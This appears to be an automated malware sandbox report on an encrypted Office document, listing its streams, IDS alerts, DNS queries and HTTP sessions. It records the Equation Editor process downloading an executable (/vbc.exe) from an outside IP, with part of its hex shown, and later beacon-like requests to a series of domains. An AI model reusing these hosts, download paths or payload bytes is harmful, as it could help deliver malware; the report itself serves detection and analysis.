. e . r . . . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . 

Data Raw: 58 00 00 00 01 00 00 00 4c 00 00 00 7b 00 46 00 46 00 39 00 41 00 33 00 46 00 30 00 33 00 
2d 00 35 00 36 00 45 00 46 00 2d 00 34 00 36 00 31 00 33 00 2d 00 42 00 44 00 44 00 35 00 
2d 00 35 00 41 00 34 00 31 00 43 00 31 00 44 00 30 00 37 00 32 00 34 00 36 00 7d 00 4e 00 
00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 
00 69 00 6e 00 65 00 

General

Stream Path: \x6DataSpaces/Version

File Type: data

Stream Size: 76

Entropy: 2.79079600998

Base64 Encoded: False

Data ASCII: < . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . D . a . t . a . S . p . a . c . e . s . .
. . . . . . . . . . . 

Data Raw: 3c 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 
00 61 00 69 00 6e 00 65 00 72 00 2e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 
00 73 00 01 00 00 00 01 00 00 00 01 00 00 00 

General

Stream Path: EncryptedPackage

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size:
200

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

Stream Path: EncryptedPackage, File Type: data, Stream Size: 194632
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Snort IDS Alerts

File Type: data

Stream Size: 194632

Entropy: 7.9980105307

Base64 Encoded: True

Data ASCII: 5 . . . . . . . y 5 . e k . . o . . . . . 9 . . . . . i . . . . . 7 C J + k ? Q . . . 6 . . M . 3 { S ( . [ 7 . . . . . _ z . 6 
. . . s . H . . 0 . . . X . ' p . . . / . 3 . # 0 . . . X . ' p . . . / . 3 . # 0 . . . X . ' p . . . / . 3 . # 0 . . . X . ' p . .
. / . 3 . # 0 . . . X . ' p . . . / . 3 . # 0 . . . X . ' p . . . / . 3 . # 0 . . . X . ' p . . . / . 3 . # 0 . . . X . ' p . . . /
. 3 . # 0 . . . X . ' p . . . / . 3 . # 0 . . . X . ' p . . . / . 3 . # 0 . . . X . ' p . . . / . 3 . # 0 . . . X . ' p 

Data Raw: 35 f8 02 00 00 00 00 00 79 35 8c 65 6b 2e 9f 6f 0c ef c1 01 f7 39 d2 b7 02 92 a5 69 99 7f 13 
19 c5 37 43 4a 2b 6b 3f 51 c3 a1 c6 36 0b 82 4d 1d 33 7b 53 28 d2 5b 37 b9 da b8 16 13 5f 
7a 19 36 0e 1a 9d 73 93 48 ee ef 30 b8 a1 80 58 dc 27 70 bd c6 dc 2f 18 33 18 23 30 b8 a1 
80 58 dc 27 70 bd c6 dc 2f 18 33 18 23 30 b8 a1 80 58 dc 27 70 bd c6 dc 2f 18 33 18 23 30 b8 
a1 80 58 dc 27 70 

General

General

Stream Path: EncryptionInfo

File Type: data

Stream Size: 224

Entropy: 4.5136937946

Base64 Encoded: False

Data ASCII: . . . . $ . . . . . . . $ . . . . . . . . f . . . . . . . . . . . . . . . . . . . . . . M . i . c . r . o . s . o . f . t .   . E . n . h . a
. n . c . e . d .   . R . S . A .   . a . n . d .   . A . E . S .   . C . r . y . p . t . o . g . r . a . p . h . i . c .   . 
P . r . o . v . i . d . e . r . . . . . . . . . . . f ' ' c . . . j ^ y ( . 4 . . s . . R . . . . . . 8 S . . . . . . . . v . G m . . .
M b 8 . . . . . > . . . S . . . U l . . . . 

Data Raw: 04 00 02 00 24 00 00 00 8c 00 00 00 24 00 00 00 00 00 00 00 0e 66 00 00 04 80 00 00 80 00 
00 00 18 00 00 00 00 00 00 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 
74 00 20 00 45 00 6e 00 68 00 61 00 6e 00 63 00 65 00 64 00 20 00 52 00 53 00 41 00 20 00 
61 00 6e 00 64 00 20 00 41 00 45 00 53 00 20 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00 
72 00 61 00 70 00 68 00 

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

11/26/20-
21:17:16.761616

ICMP 402 ICMP Destination Unreachable Port Unreachable 192.168.2.22 8.8.8.8

11/26/20-
21:17:17.772731

ICMP 402 ICMP Destination Unreachable Port Unreachable 192.168.2.22 8.8.8.8

11/26/20-
21:17:19.785661

ICMP 402 ICMP Destination Unreachable Port Unreachable 192.168.2.22 8.8.8.8

11/26/20-
21:17:21.088021

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49169 23.227.38.74 192.168.2.22

Timestamp Source Port Dest Port Source IP Dest IP

Nov 26, 2020 21:16:00.625966072 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:00.744024992 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:00.744132996 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:00.744925022 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:00.866168022 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:00.866190910 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:00.866204023 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:00.866215944 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:00.866286993 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:00.866332054 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:00.984383106 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:00.984409094 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:00.984560966 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:00.985613108 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:00.985630035 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:00.985641956 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:00.985656977 CET 80 49165 192.227.129.22 192.168.2.22

Stream Path: EncryptionInfo, File Type: data, Stream Size: 224

TCP Packets
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Nov 26, 2020 21:16:00.985671043 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:00.985686064 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:00.985702991 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:00.985724926 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:00.985730886 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.102469921 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.102499008 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.102510929 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.102523088 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.102731943 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.103353024 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.103369951 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.103380919 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.103396893 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.103429079 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.103452921 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.105675936 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.105691910 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.105705023 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.105719090 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.105730057 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.105742931 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.105755091 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.105758905 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.105783939 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.105788946 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.105849981 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.105873108 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.108016014 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.220751047 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.220778942 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.220789909 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.220802069 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.220813036 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.220824003 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.220834970 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.220845938 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.221050024 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.221066952 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.221077919 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.221091986 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.221103907 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.221115112 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.221116066 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.221127033 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.221138954 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.221163034 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.221178055 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.221223116 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.223505020 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.223525047 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.223537922 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.223550081 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.223572016 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.223587990 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.223601103 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.223613024 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.223618031 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.223633051 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.223649025 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.223649979 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.223701954 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.223750114 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.223766088 CET 80 49165 192.227.129.22 192.168.2.22

Timestamp Source Port Dest Port Source IP Dest IP
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Nov 26, 2020 21:16:01.223779917 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.223792076 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.223803997 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.223834991 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.223870039 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.224059105 CET 49165 80 192.168.2.22 192.227.129.22

Nov 26, 2020 21:16:01.339143991 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.339169979 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.339181900 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.339198112 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.339210033 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.339221001 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.339234114 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.339246035 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.339257956 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.339270115 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.339281082 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.339293003 CET 80 49165 192.227.129.22 192.168.2.22

Nov 26, 2020 21:16:01.339303970 CET 80 49165 192.227.129.22 192.168.2.22

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Nov 26, 2020 21:16:48.137219906 CET 52197 53 192.168.2.22 8.8.8.8

Nov 26, 2020 21:16:48.291912079 CET 53 52197 8.8.8.8 192.168.2.22

Nov 26, 2020 21:16:53.933782101 CET 53099 53 192.168.2.22 8.8.8.8

Nov 26, 2020 21:16:54.280513048 CET 53 53099 8.8.8.8 192.168.2.22

Nov 26, 2020 21:17:00.183963060 CET 52838 53 192.168.2.22 8.8.8.8

Nov 26, 2020 21:17:00.234890938 CET 53 52838 8.8.8.8 192.168.2.22

Nov 26, 2020 21:17:05.659591913 CET 61200 53 192.168.2.22 8.8.8.8

Nov 26, 2020 21:17:05.709474087 CET 53 61200 8.8.8.8 192.168.2.22

Nov 26, 2020 21:17:10.725769997 CET 49548 53 192.168.2.22 8.8.8.8

Nov 26, 2020 21:17:11.731065035 CET 49548 53 192.168.2.22 8.8.8.8

Nov 26, 2020 21:17:12.744934082 CET 49548 53 192.168.2.22 8.8.8.8

Nov 26, 2020 21:17:14.757503033 CET 49548 53 192.168.2.22 8.8.8.8

Nov 26, 2020 21:17:15.754189014 CET 53 49548 8.8.8.8 192.168.2.22

Nov 26, 2020 21:17:16.758619070 CET 53 49548 8.8.8.8 192.168.2.22

Nov 26, 2020 21:17:17.772422075 CET 53 49548 8.8.8.8 192.168.2.22

Nov 26, 2020 21:17:19.785506964 CET 53 49548 8.8.8.8 192.168.2.22

Nov 26, 2020 21:17:20.795813084 CET 55627 53 192.168.2.22 8.8.8.8

Nov 26, 2020 21:17:20.851593018 CET 53 55627 8.8.8.8 192.168.2.22

Nov 26, 2020 21:17:26.093291998 CET 56009 53 192.168.2.22 8.8.8.8

Nov 26, 2020 21:17:26.450227022 CET 53 56009 8.8.8.8 192.168.2.22

Nov 26, 2020 21:17:31.770586014 CET 61865 53 192.168.2.22 8.8.8.8

Nov 26, 2020 21:17:31.831497908 CET 53 61865 8.8.8.8 192.168.2.22

Nov 26, 2020 21:17:42.289381027 CET 55171 53 192.168.2.22 8.8.8.8

Nov 26, 2020 21:17:42.340491056 CET 53 55171 8.8.8.8 192.168.2.22

Nov 26, 2020 21:17:47.631573915 CET 52496 53 192.168.2.22 8.8.8.8

Nov 26, 2020 21:17:47.682826042 CET 53 52496 8.8.8.8 192.168.2.22

Timestamp Source IP Dest IP Checksum Code Type

Nov 26, 2020 21:17:16.761615992 CET 192.168.2.22 8.8.8.8 d007 (Port 
unreachable)

Destination 
Unreachable

Nov 26, 2020 21:17:17.772731066 CET 192.168.2.22 8.8.8.8 d007 (Port 
unreachable)

Destination 
Unreachable

Nov 26, 2020 21:17:19.785660982 CET 192.168.2.22 8.8.8.8 d007 (Port 
unreachable)

Destination 
Unreachable

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Nov 26, 2020 21:16:48.137219906 CET 192.168.2.22 8.8.8.8 0x708c Standard query 
(0)

www.hostin
gbisniz.com

A (IP address) IN (0x0001)

UDP Packets

ICMP Packets

DNS Queries
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Nov 26, 2020 21:16:53.933782101 CET 192.168.2.22 8.8.8.8 0xa14d Standard query 
(0)

www.8no3.com A (IP address) IN (0x0001)

Nov 26, 2020 21:17:00.183963060 CET 192.168.2.22 8.8.8.8 0xccff Standard query 
(0)

www.cna-no
tary.com

A (IP address) IN (0x0001)

Nov 26, 2020 21:17:05.659591913 CET 192.168.2.22 8.8.8.8 0x2f03 Standard query 
(0)

www.vandel
ayind.net

A (IP address) IN (0x0001)

Nov 26, 2020 21:17:10.725769997 CET 192.168.2.22 8.8.8.8 0x3c4e Standard query 
(0)

www.macija
nie.com

A (IP address) IN (0x0001)

Nov 26, 2020 21:17:11.731065035 CET 192.168.2.22 8.8.8.8 0x3c4e Standard query 
(0)

www.macija
nie.com

A (IP address) IN (0x0001)

Nov 26, 2020 21:17:12.744934082 CET 192.168.2.22 8.8.8.8 0x3c4e Standard query 
(0)

www.macija
nie.com

A (IP address) IN (0x0001)

Nov 26, 2020 21:17:14.757503033 CET 192.168.2.22 8.8.8.8 0x3c4e Standard query 
(0)

www.macija
nie.com

A (IP address) IN (0x0001)

Nov 26, 2020 21:17:20.795813084 CET 192.168.2.22 8.8.8.8 0x6ec7 Standard query 
(0)

www.tennes
syherb.com

A (IP address) IN (0x0001)

Nov 26, 2020 21:17:26.093291998 CET 192.168.2.22 8.8.8.8 0xf09a Standard query 
(0)

www.bestpo
dstudio.com

A (IP address) IN (0x0001)

Nov 26, 2020 21:17:31.770586014 CET 192.168.2.22 8.8.8.8 0x4b92 Standard query 
(0)

www.xjcg16
8.com

A (IP address) IN (0x0001)

Nov 26, 2020 21:17:42.289381027 CET 192.168.2.22 8.8.8.8 0x4b93 Standard query 
(0)

www.pellatrap.net A (IP address) IN (0x0001)

Nov 26, 2020 21:17:47.631573915 CET 192.168.2.22 8.8.8.8 0x9e1c Standard query 
(0)

www.thejakx.com A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Nov 26, 2020 
21:16:48.291912079 
CET

8.8.8.8 192.168.2.22 0x708c No error (0) www.hostin
gbisniz.com

hostingbisniz.com CNAME 
(Canonical 
name)

IN (0x0001)

Nov 26, 2020 
21:16:48.291912079 
CET

8.8.8.8 192.168.2.22 0x708c No error (0) hostingbis
niz.com

209.126.13.151 A (IP address) IN (0x0001)

Nov 26, 2020 
21:16:54.280513048 
CET

8.8.8.8 192.168.2.22 0xa14d No error (0) www.8no3.com 156.235.143.6 A (IP address) IN (0x0001)

Nov 26, 2020 
21:17:00.234890938 
CET

8.8.8.8 192.168.2.22 0xccff No error (0) www.cna-no
tary.com

cna-notary.com CNAME 
(Canonical 
name)

IN (0x0001)

Nov 26, 2020 
21:17:00.234890938 
CET

8.8.8.8 192.168.2.22 0xccff No error (0) cna-notary.com 184.168.131.241 A (IP address) IN (0x0001)

Nov 26, 2020 
21:17:05.709474087 
CET

8.8.8.8 192.168.2.22 0x2f03 Name error (3) www.vandel
ayind.net

none none A (IP address) IN (0x0001)

Nov 26, 2020 
21:17:15.754189014 
CET

8.8.8.8 192.168.2.22 0x3c4e Server failure 
(2)

www.macija
nie.com

none none A (IP address) IN (0x0001)

Nov 26, 2020 
21:17:16.758619070 
CET

8.8.8.8 192.168.2.22 0x3c4e Server failure 
(2)

www.macija
nie.com

none none A (IP address) IN (0x0001)

Nov 26, 2020 
21:17:17.772422075 
CET

8.8.8.8 192.168.2.22 0x3c4e Server failure 
(2)

www.macija
nie.com

none none A (IP address) IN (0x0001)

Nov 26, 2020 
21:17:19.785506964 
CET

8.8.8.8 192.168.2.22 0x3c4e Server failure 
(2)

www.macija
nie.com

none none A (IP address) IN (0x0001)

Nov 26, 2020 
21:17:20.851593018 
CET

8.8.8.8 192.168.2.22 0x6ec7 No error (0) www.tennes
syherb.com

shops.myshopify.com CNAME 
(Canonical 
name)

IN (0x0001)

Nov 26, 2020 
21:17:20.851593018 
CET

8.8.8.8 192.168.2.22 0x6ec7 No error (0) shops.mysh
opify.com

23.227.38.74 A (IP address) IN (0x0001)

Nov 26, 2020 
21:17:26.450227022 
CET

8.8.8.8 192.168.2.22 0xf09a No error (0) www.bestpo
dstudio.com

sbsfe-
p11r.geo.mf0.yahoodns.n
et

CNAME 
(Canonical 
name)

IN (0x0001)

Nov 26, 2020 
21:17:26.450227022 
CET

8.8.8.8 192.168.2.22 0xf09a No error (0) sbsfe-p11r
.geo.mf0.y
ahoodns.net

67.195.197.25 A (IP address) IN (0x0001)

Nov 26, 2020 
21:17:31.831497908 
CET

8.8.8.8 192.168.2.22 0x4b92 No error (0) www.xjcg16
8.com

xjcg168.com CNAME 
(Canonical 
name)

IN (0x0001)

Nov 26, 2020 
21:17:31.831497908 
CET

8.8.8.8 192.168.2.22 0x4b92 No error (0) xjcg168.com 102.141.201.70 A (IP address) IN (0x0001)

DNS Answers
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Nov 26, 2020 
21:17:42.340491056 
CET

8.8.8.8 192.168.2.22 0x4b93 No error (0) www.pellat
rap.net

74.208.236.61 A (IP address) IN (0x0001)

Nov 26, 2020 
21:17:42.340491056 
CET

8.8.8.8 192.168.2.22 0x4b93 No error (0) www.pellat
rap.net

192.168.1.12 A (IP address) IN (0x0001)

Nov 26, 2020 
21:17:47.682826042 
CET

8.8.8.8 192.168.2.22 0x9e1c No error (0) www.thejak
x.com

propage.beatstars.com CNAME 
(Canonical 
name)

IN (0x0001)

Nov 26, 2020 
21:17:47.682826042 
CET

8.8.8.8 192.168.2.22 0x9e1c No error (0) propage.be
atstars.com

52.206.159.80 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

192.227.129.22
www.hostingbisniz.com
www.8no3.com
www.cna-notary.com
www.tennessyherb.com
www.bestpodstudio.com
www.xjcg168.com
www.pellatrap.net

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49165 192.227.129.22 80 C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp
kBytes
transferred Direction Data

Nov 26, 2020 
21:16:00.744925022 CET

0 OUT GET /vbc.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 192.227.129.22
Connection: Keep-Alive

Nov 26, 2020 
21:16:00.866168022 CET

1 IN HTTP/1.1 200 OK
Date: Fri, 27 Nov 2020 03:15:59 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34
Last-Modified: Thu, 26 Nov 2020 22:38:57 GMT
ETag: "7dc00-5b50a35a0744f"
Accept-Ranges: bytes
Content-Length: 515072
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 1c ca bf 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 
00 00 d0 07 00 00 0a 00 00 00 00 00 00 d6 ee 07 00 00 20 00 00 00 00 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 
00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 
00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 ee 07 00 4f 00 00 00 00 00 08 00 14 06 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 08 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 
00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0c cf 07 00 00 
20 00 00 00 d0 07 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 14 06 00 00 
00 00 08 00 00 08 00 00 00 d2 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 
00 00 20 08 00 00 02 00 00 00 da 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 b8 ee 07 00 00 00 00 00 48 00 00 00 02 00 05 00 48 9a 00 00 94 85 00 00 03 00 00 00 8c 00 00 06 dc 
1f 01 00 a8 ce 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 13 30 03 00 29 00 00 00 01 00 00 11 02 7b 09 00 00 04 0a 06 0b 07 03 28 16 00 00 0a 74 11 00 
00 01 0c 02 7c 09 00 00 04 08 07 28 01 00 00 2b 0a 06 07 33 df 2a 00 00 00 13 30 03 00 29 00 00 00 01 00 00 11 02 7b 
09 00 00 04 0a 06 0b 07 03 28 18 00 00 0a 74 11 00 00 01 0c 02 7c 09 00 00 04 08 07 28 01 00 00 2b 0a 06 07 33 df 2a 
00 00 00 13 30 03 00 29 00 00 00 01 00 00 11 02 7b 0a 00 00 04 0a 06 0b 07 03 28 16 00 00 0a 74 11 00 00 01 0c 02 7c 
0a 00 00 04 08 07 28 01 00 00 2b 0a 06 07 33 df 2a 00 00 00 13 30 03 00 29 00 00 00 01 00 00 11 02 7b 0a 00 00 04 0a 
06 0b 07 03 28 18 00 00 0a 74 11 00 00 01 0c 02 7c 0a 00 00 04 08 07 28 01 00 00 2b 0a 06 07 33 df 2a 9a 02 73 19 00 
00 0a 7d 07 00 00 04 02 7e 1a 00 00 0a 7d 08 00 00 04 02 28 1b 00 00 0a 00 00 02 28 07 00 00 06 00 2a 1b 30 01 00 14 
00 00 00 00 00 00 00 00 00 02 28 08 00 00 06 00 de 08 02 28 0f 00 00 0a 00 dc 2a 01 10 00 00 02 00 01 00 0a 0b 00 08 
00 00 00 00 13 30 05 00 34 00 00 00 02 00 00 11 00 72 01 00 00 70 28 0d 00 00 06 0a 02 02 fe 06 09 00 00 06 73 c2 00 
00 06 7d 01 00 00 04 02 1f 0d 02 7b 01 00 00 04 06 16 28 0a 00 00 06 7d 08 00 00 04 2a 3a 00 02 7b 08 00 00 04 28 0b 
00 00 06 26 2a 00 13 30 04 00 c0 00 00 00 03 00 00 11 00 03 16 fe 04 16 fe 01 0a 06 39 9c 00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_0 @ @@O   H.text  `.rsrc@@.reloc @BHH0){(t|(+3*0
){(t|(+3*0){(t|(+3*0){(t|(+3*s}~}((*0((*04rp(s}{(}*:{(&*09

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.22 49166 209.126.13.151 80 C:\Windows\explorer.exe

HTTP Request Dependency Graph

HTTP Packets
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Timestamp
kBytes
transferred Direction Data

Nov 26, 2020 
21:16:48.440181971 CET

535 OUT GET /mz59/?rFN0=Xrx4qn&u2M0SF6h=OW9WwwQcQ8ztOX5YgXZ2qNcRwznn7rmsJyX42Vrsm3RiMqRsS0WcEJSAu/
B+R53MEk5Vww== HTTP/1.1
Host: www.hostingbisniz.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Nov 26, 2020 
21:16:48.929755926 CET

535 IN HTTP/1.1 301 Moved Permanently
Connection: close
X-Powered-By: PHP/7.2.33
Content-Type: text/html; charset=UTF-8
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: WordPress
Location: https://www.hostingbisniz.com/mz59/?rFN0=Xrx4qn&u2M0SF6h=OW9WwwQcQ8ztOX5YgXZ2qNcRwznn7rmsJ
yX42Vrsm3RiMqRsS0WcEJSAu/B+R53MEk5Vww==
Content-Length: 0
Date: Thu, 26 Nov 2020 20:16:48 GMT
Server: LiteSpeed

Session ID Source IP Source Port Destination IP Destination Port Process

